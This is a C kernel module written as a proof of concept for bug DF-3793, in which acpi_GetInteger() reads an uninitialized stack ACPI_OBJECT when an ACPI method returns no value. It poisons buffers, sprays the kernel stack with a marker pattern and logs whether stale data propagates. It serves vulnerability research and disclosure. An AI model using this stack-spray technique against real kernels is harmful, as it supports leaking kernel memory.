/*
 * DF-3793 PoC: acpi_GetInteger() reads an uninitialized stack ACPI_OBJECT
 * when the named AML object exists, evaluates successfully, but returns
 * no value.  ACPICA (nsxfeval.c AcpiEvaluateObject) sets
 * ReturnBuffer->Length = 0 and leaves the caller-supplied buffer
 * untouched, returning AE_OK.
 *
 * Part A (decisive): call AcpiEvaluateObject() directly with a
 * pre-poisoned caller buffer on a no-return method.  If status == AE_OK
 * and the poison survives, ACPICA provably did not write the buffer --
 * exactly the state acpi_GetInteger treats as a valid object.
 *
 * Part B (best-effort): spray the stack with a pattern, then call the
 * real acpi_GetInteger() on the same method.  If `number` comes back
 * matching the sprayed pattern, stale stack data was propagated through
 * the helper.
 *
 * kldload df3793 && kldunload df3793 ; dmesg | grep DF3793
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include "acpi.h"

/* exported by the ACPI driver (acpi.c) */
ACPI_STATUS acpi_GetInteger(ACPI_HANDLE handle, char *path, UINT32 *number);

#define SPRAY_LO	0xDF3793AAUL

static void
spray(void)
{
	volatile unsigned long junk[64];
	int i;

	/* even qwords: low 32 bits = ACPI_TYPE_INTEGER (1);
	 * odd qwords: low 32 bits = recognizable stale value */
	for (i = 0; i < 64; i++)
		junk[i] = (i & 1) ? 0x0000000100000000ULL | SPRAY_LO
				  : 0x0000000100000000ULL;
	__asm __volatile("" :: "r"(junk) : "memory");
}

static void
probe_path(ACPI_HANDLE h, char *path)
{
	ACPI_OBJECT param;
	ACPI_BUFFER buf;
	ACPI_STATUS status;
	UINT8 *p = (UINT8 *)&param;
	int i;
	int poisoned_ok;

	/* Poison the caller-supplied buffer (emulates stale stack data) */
	for (i = 0; i < (int)sizeof(param); i++)
		p[i] = (UINT8)(0xA0 + (i & 0x0f));
	param.Type = ACPI_TYPE_INTEGER;
	param.Integer.Value = 0xDEADBEEFCAFEBABEULL;

	buf.Pointer = &param;
	buf.Length = sizeof(param);
	status = AcpiEvaluateObject(h, path, NULL, &buf);

	kprintf("DF3793: path=%s status=%s buf.Length_after=%lu\n",
	    path, AcpiFormatException(status), (unsigned long)buf.Length);
	if (status == AE_BUFFER_OVERFLOW)
		kprintf("DF3793:   (needs %lu bytes; not our case)\n",
		    (unsigned long)buf.Length);
	poisoned_ok = (status == AE_OK &&
	    param.Type == ACPI_TYPE_INTEGER &&
	    param.Integer.Value == 0xDEADBEEFCAFEBABEULL);
	kprintf("DF3793:   param.Type=%d param.Value=0x%016jx%s\n",
	    (int)param.Type, (uintmax_t)param.Integer.Value,
	    poisoned_ok ? "  <== BUFFER UNTOUCHED, AE_OK" : "");

	if (status != AE_OK)
		return;

	/* Part B: real helper, preceded by a stack spray */
	{
		UINT32 number = 0;
		ACPI_STATUS s2;

		spray();
		s2 = acpi_GetInteger(h, path, &number);
		kprintf("DF3793:   acpi_GetInteger -> %s number=0x%08x%s\n",
		    AcpiFormatException(s2), number,
		    (number == SPRAY_LO) ?
		    "  <== STALE STACK DATA PROPAGATED" :
		    "  (frame layout differs; see Part A)");
	}
}

/* Same probe but pass integer arguments (for methods taking args). */
static void
probe_path_args(char *path, int nargs)
{
	ACPI_OBJECT param;
	ACPI_BUFFER buf;
	ACPI_OBJECT_LIST params;
	ACPI_OBJECT objs[4];
	ACPI_STATUS status;
	UINT8 *p = (UINT8 *)&param;
	int i;

	for (i = 0; i < nargs; i++) {
		objs[i].Type = ACPI_TYPE_INTEGER;
		objs[i].Integer.Value = 0;
	}
	params.Count = nargs;
	params.Pointer = objs;

	for (i = 0; i < (int)sizeof(param); i++)
		p[i] = (UINT8)(0xA0 + (i & 0x0f));
	param.Type = ACPI_TYPE_INTEGER;
	param.Integer.Value = 0xDEADBEEFCAFEBABEULL;

	buf.Pointer = &param;
	buf.Length = sizeof(param);
	status = AcpiEvaluateObject(NULL, path, &params, &buf);
	kprintf("DF3793: path=%s status=%s buf.Length_after=%lu\n",
	    path, AcpiFormatException(status), (unsigned long)buf.Length);
	kprintf("DF3793:   param.Type=%d param.Value=0x%016jx%s\n",
	    (int)param.Type, (uintmax_t)param.Integer.Value,
	    (status == AE_OK && param.Type == ACPI_TYPE_INTEGER &&
	     param.Integer.Value == 0xDEADBEEFCAFEBABEULL) ?
	    "  <== BUFFER UNTOUCHED, AE_OK" : "");

	if (status == AE_OK) {
		UINT32 number = 0;
		ACPI_STATUS s2;

		spray();
		s2 = acpi_GetInteger(NULL, path, &number);
		kprintf("DF3793:   acpi_GetInteger -> %s number=0x%08x%s\n",
		    AcpiFormatException(s2), number,
		    (number == SPRAY_LO) ?
		    "  <== STALE STACK DATA PROPAGATED" :
		    "  (frame layout differs; see Part A)");
	}
}

static int
df3793_modevent(struct module *m, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		/* \_SB.PCI0.PRES._INI: no Return() but its Store leaves an
		 * implicit return under interpreter slack (contrast case). */
		probe_path(NULL, "\\_SB_.PCI0.PRES._INI");
		/* \_SB.CPUS.CTFY: body is only If()/Notify() -- no operator
		 * produces a result, so no implicit return: no object. */
		probe_path_args("\\_SB_.CPUS.CTFY", 2);
		/* absent object: AE_NOT_FOUND (buffer also untouched) */
		probe_path(NULL, "\\_SB_.PCI0.NOSUCH._INI");
		kprintf("DF3793: done\n");
		break;
	case MOD_UNLOAD:
		break;
	}
	return (0);
}

static moduledata_t df3793_mod = { "df3793", df3793_modevent, NULL };
DECLARE_MODULE(df3793, df3793_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(df3793, acpi, 1, 1, 1);
